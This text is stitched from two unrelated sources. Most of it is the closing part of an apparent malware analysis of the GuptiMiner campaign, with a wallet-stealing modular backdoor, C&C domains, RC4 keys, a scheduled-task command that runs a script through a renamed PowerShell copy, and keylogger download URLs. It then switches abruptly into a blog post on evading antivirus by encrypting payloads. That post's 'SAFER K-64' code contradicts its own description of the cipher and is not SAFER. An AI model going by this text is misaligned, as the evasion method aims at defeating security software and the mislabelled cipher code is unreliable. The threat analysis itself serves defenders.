Here we provide an example how the SMB packets look like in Wireshark when sent by the malware. After the connection is established, the malware tries to login as anonymous and makes requests for \IPC$ and a named pipe.

Interested reader can find the captured PCAP on our GitHub.

Modular Backdoor 

f0ccfcb5d49d08e9e66b67bb3fedc476fdf5476a432306e78ddaaba4f8e3bbc4
(2023-10-10 15:08:36 UTC) 

Another backdoor that we’ve found during our research being distributed by Puppeteer is a modular backdoor which targets huge corporate networks. It consists of two phases – the malware scans the devices for the existence of locally stored private keys and cryptocurrency wallets, and the second part is an injected modular backdoor, in the form of a shellcode. 

Checks on Private Keys, Wallets, and Corporate Network

This part of the backdoor focuses on scanning for private keys and wallet files on the system. This is done by searching for .pvk and .wallet files in these locations: 

• C:\Users\* 
• D:\* 
• E:\* 
• F:\* 
• G:\* 

If there is such a file found in the system, its path is logged in a newly created file C:\Users\Public\Ca.txt. Interestingly, this file is not processed on its own by the code we have available. We suppose the data will be stolen later when further modules are downloaded by the backdoor. 

The fact that the scan was performed is marked by creating a registry key:
HKEY_LOCAL_MACHINE\SYSTEM\Software\Microsoft\DECLAG 

If some private keys or wallets were found on the system or the malware is running in a huge corporate environment, the malware proceeds with injecting the backdoor, in a form of a shellcode, into the mmc.exe process. 

The size of the corporate environment is guessed by the same approach as Puppeteer’s backdoor setup with the difference in the scale. Here, the malware compares the returned list of computers in the domain with 200,000 characters. To recapitulate, the data printed by the net group command uses 25 characters per domain joined computer plus a newline (CR+LF) per every three computers. 

This effectively means that the network in which the malware operates must have at least 7781 computers joined in the domain, which is quite a large number.

Backdoor

8446d4fc1310b31238f9a610cd25ea832925a25e758b9a41eea66f998163bb34 

This shellcode is a completely different piece of code than what we’ve seen so far across GuptiMiner campaign. It is designed to be multi-modular with the capability of adding more modules into the execution flow. Only a networking communication module, however, is hardcoded and available by default, and its hash is 74d7f1af69fb706e87ff0116b8e4fa3a9b87275505e2ee7a32a8628a2d066549 (2022-12-19 07:31:39 UTC). 

After the injection, the backdoor decrypts a hardcoded configuration and a hardcoded networking module using RC4. The RC4 key is also hardcoded and available directly in the shellcode. 

The configuration contains details about which server to contact, what ports to use, the length of delays that should be set between commands/requests, among others. The domain for communication in this configuration is www.righttrak[.]net:443 and an IP address 185.248.160[.]141.

The network module contains seven different commands that the attacker can use for instructing the backdoor about what to do. A complete list of commands accepted by the network module can be found in the table below. Note that each module that can be used by the backdoor contains such a command handler on its own. 

The modules are stored in an encrypted form in the registry, ensuring their persistence:
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\PCB

The backdoor also uses an import by hash obfuscation for resolving API functions. The hashing function is a simple algorithm that takes each byte of the exported function name, adds 1 to it, and then multiplies the previously calculated number (calculated_hash, starts with 0) by 131 and adds it to the byte:

The server www.righttrak[.]net:443 had, at the time, a valid certificate. Note for example the not-at-all-suspicious email address the authors used. 

Other Infection Vectors of Modular Backdoor

af9f1331ac671d241bf62240aa52389059b4071a0635cb9cb58fa78ab942a33b

During our research, we have also found a 7zip SFX executable containing two files: 

• ms00.dat 
• notepad.exe 

notepad.exe is a small binary that decrypts ms00.dat file using RC4 with a key V#@!1vw32. The decrypted ms00.dat file is the same Modular Backdoor malware as described above. 

However, we have not seen this SFX executable being distributed by GuptiMiner. This indicates that this backdoor might be distributed by different infection vectors as well. 

Related and Future Research

We’ve also observed other more or less related samples during our research. 

PowerShell Scripts

Interestingly, we’ve found the C&C domain from the backdoor setup phase (in Puppeteer) in additional scripts as well which were not distributed by traditional GuptiMiner operation as we know it. We think this might be a different kind of attack sharing the GuptiMiner infrastructure, though it might be a different campaign. Formatted PowerShell script can be found below: 

In this case, the payload is downloaded and executed from the malicious domain only when an antivirus is installed, and its name has more than 4 letters and starts with eS. One does not have to be a scrabble champion to figure out that the malware authors are targeting the eScan AV once again. The malicious code is also run when the name of the installed AV has less than 5 letters. 

We’ve found this script being run via a scheduled task with a used command:
"cmd.exe" /c type "\<domain>\SYSVOL\<domain>\scripts\gpon.inc" | "\<domain>\SYSVOL\<domain>\scripts\powAMD64.dat" -nop - 
where powAMD64.dat is a copy of powershell.exe. The task name and location was C:\Windows\System32\Tasks\ScheduledDefrag 

Usage of Stolen Certificates 

We have found two stolen certificates used for signing GuptiMiner payloads. Interestingly, one of the used stolen certificates originates in Winnti operations. In this particular sample, the digital signature has a hash: 
529763AC53562BE3C1BB2C42BCAB51E3AD8F8A56 

This certificate is the same as mentioned by Kaspersky more than 10 years ago. However, we’ve also seen this certificate to be used in multiple malware samples than just GuptiMiner, though, indicating a broader leak. 

A complete list of stolen certificates and their usage can be found in the table below: 

Possible Ties to Kimsuky 

7f1221c613b9de2da62da613b8b7c9afde2ea026fe6b88198a65c9485ded7b3d
(2021-03-06 20:13:32 UTC) 

During our research, we’ve also found an information stealer which holds a rather similar PDB path as was used across the whole GuptiMiner campaign (MainWork):
F:\!PROTECT\Real\startW-2008\MainWork\Release\MainWork.pdb 

However, we haven’t seen it distributed by GuptiMiner and, according to our data, it doesn’t belong to the same operation and infection chain. This malware performs stealing activities like capturing every keystroke, harvesting HTML forms from opened browser tabs, noting times of opened programs, etc., and stores them in log files. 

What is truly interesting, however, is that this information stealer might come from Kimsuky operations. Also known as Black Banshee, among other aliases, Kimsuky is a North Korean state-backed APT group. 

It contains the similar approach of searching for AhnLab real-time detection window class name 49B46336-BA4D-4905-9824-D282F05F6576 as mentioned by both AhnLab as well as Cisco Talos Intelligence in their Information-gathering module section. If such a window is found, it will be terminated/hidden from the view of the infected user. 

Furthermore, the stealer contains an encrypted payload in resources, having a hash: d5bc6cf988c6d3c60e71195d8a5c2f7525f633bb54059688ad8cfa1d4b72aa6c (2021-02-19 19.02.2021 15:00:47 UTC) and it has this PDB path:
F:\PROTECT\Real\startW-2008\HTTPPro\Release\HTTPPro.pdb 

This module is decrypted using the standard RC4 algorithm with the key messi.com. The module is used for downloading additional stages. One of the used URLs are:
http://stwu.mygamesonline[.]org/home/sel.php
http://stwu.mygamesonline[.]org/home/buy.php?filename=%s&key=%s 

The domain mygamesonline[.]org is commonly used by Kimsuky (with variety of subdomains). 

The keylogger also downloads next stage called ms12.acm: 

With this, we see a possible pattern with the naming convention and a link to Modular Backdoor. As described in the Other Infection Vectors section, the 7z SFX archive contains an encrypted file called ms00.dat with which we struggle to ignore the resemblance.

Last but not least, another strong indicator for a possible attribution is the fact that the Kimsuky keylogger sample dddc57299857e6ecb2b80cbab2ae6f1978e89c4bfe664c7607129b0fc8db8b1f, which is mentioned in the same blogpost from Talos, contains a section called .vlizer, as seen below: 

During the GuptiMiner installation process (Stage 0), we wrote about the threat actors introducing Code Virtualization in 2018. This was done by using a dedicated section called .v_lizer. 

Conclusion 

In this analysis, we described our findings regarding a long-standing threat we called GuptiMiner, in detail. This sophisticated operation has been performing MitM attacks targeting an update mechanism of the eScan antivirus vendor. We disclosed the security vulnerability to both eScan and the India CERT and received confirmation on 2023-07-31 from eScan that the issue was fixed and successfully resolved. 

During the GuptiMiner operation, the attackers were deploying a wide chain of stages and functionalities, including performing DNS requests to the attacker’s DNS servers, sideloading, extracting payloads from innocent-looking images, signing its payloads with a custom trusted root anchor certification authority, among others. 

Two different types of backdoors were discovered, targeting large corporate networks. The first provided SMB scanning of the local network, enabling lateral movement over the network to potentially exploit vulnerable Windows 7 and Windows Server 2008 systems on the network. The second backdoor is multi-modular, accepting commands on background to install more modules as well as focusing on stealing stored private keys and cryptowallets. 

Interestingly, the final payload distributed by GuptiMiner was also XMRig which is a bit unexpected for such a thought-through operation. 

We have also found possible ties to Kimsuky, a notorious North Korean APT group, while observing similarities between Kimsuky keylogger and fragments discovered during the analysis of the GuptiMiner operation. 

eScan follow-up

We have shared our findings and our research with eScan prior to publishing this analysis. For the sake of completeness, we are including their statement on this topic:

“I would also like to highlight some key points:
1. Our records indicate that the last similar report was received towards the end of the year 2019.
2. Since 2020, we have implemented a stringent checking mechanism that utilizes EV Signing to ensure that non-signed binaries are rejected.
3. Multiple heuristic rules have been integrated into our solution to detect and block any instances of legitimate processes being used for mining, including the forking of unsigned binaries.
4. While our internal investigations did not uncover instances of the XRig miner, it is possible that this may be due to geo-location factors.
5. Our latest solution versions employ secure (https) downloads, ensuring encrypted communication when clients interact with our cloud-facing servers for update downloads.”

According to our telemetry, we continue to observe new infections and GuptiMiner builds within our userbase. This may be attributable to eScan clients on these devices not being updated properly.

Indicators of Compromise (IoCs)

In this section, we would like to summarize the Indicators of Compromise mentioned in this analysis. As they are indicators, it doesn’t automatically mean the mentioned files and/or domains are malicious on their own. 

For more detailed list of IoCs of the whole GuptiMiner campaign, please visit our GitHub.

Evolution and Timelines 

Domains 

Mutexes 

PDB paths 

Stage 0 – Installation Process 

Stage 0.9 – Installation Improvements 

Stage 1 – PNG Loader 

Stage 2 – Gzip Loader 

Stage 3 – Puppeteer 

Stage 4 – Backdoor 

Related and Future Research 

The post GuptiMiner: Hijacking Antivirus Updates for Distributing Backdoors and Casual Mining appeared first on Avast Threat Labs.

﷽

Hello, cybersecurity enthusiasts and white hackers!

This post is the result of my own research on try to evasion AV engines via encrypting payload with another algorithm: SAFER. As usual, exploring various crypto algorithms, I decided to check what would happen if we apply this to encrypt/decrypt the payload.

SAFER

SAFER (Secure And Fast Encryption Routine) is a symmetric block cipher designed by James Massey. SAFER K-64 specifically refers to the variant with a 64-bit key size. It’s notable for its nonproprietary nature and has been incorporated into some products by Cylink Corp.

SAFER K-64 operates as an iterated block cipher, meaning the same function is applied for a certain number of rounds. Each round utilizes two 64-bit subkeys, and the algorithm exclusively employs operations on bytes. Unlike DES, SAFER K-64 is not a Feistel network.

practical example

For practical example, here is the step-by-step flow of the SAFER-64:

// extract left and right halves of the data block
L = data_ptr[0];
R = data_ptr[1];

// SAFER-64 encryption rounds
for (i = 0; i < ROUNDS; i++) {
  T = R ^ key_ptr[i % 4];
  T = (T << 1) | (T >> 31); // Rotate left by 1 bit
  L ^= (T + R);
  T = L ^ key_ptr[(i % 4) + 4];
  T = (T << 1) | (T >> 31); // Rotate left by 1 bit
  R ^= (T + L);
}

// update the data block with the encrypted values
data_ptr[0] = L;
data_ptr[1] = R;

So, the encryption function looks like this:

void safer_encrypt(unsigned char *data, unsigned char *key) {
  unsigned int *data_ptr = (unsigned int *)data;
  unsigned int *key_ptr = (unsigned int *)key;
  unsigned int L, R, T;
  int i;

  L = data_ptr[0];
  R = data_ptr[1];

  for (i = 0; i < ROUNDS; i++) {
    T = R ^ key_ptr[i % 4];
    T = (T << 1) | (T >> 31);
    L ^= (T + R);
    T = L ^ key_ptr[(i % 4) + 4];
    T = (T << 1) | (T >> 31);
    R ^= (T + L);
  }

  data_ptr[0] = L;
  data_ptr[1] = R;
}

What about decryption logic? The decryption process is not much different from encryption:

// extract left and right halves of the data block
L = data_ptr[0];
R = data_ptr[1];

// SAFER-64 decryption rounds
for (i = ROUNDS - 1; i >= 0; i--) {
  T = L ^ key_ptr[(i % 4) + 4];
  T = (T << 1) | (T >> 31); // Rotate left by 1 bit
  R ^= (T + L);
  T = R ^ key_ptr[i % 4];
  T = (T << 1) | (T >> 31); // Rotate left by 1 bit
  L ^= (T + R);
}

// Update the data block with the decrypted values
data_ptr[0] = L;
data_ptr[1] = R;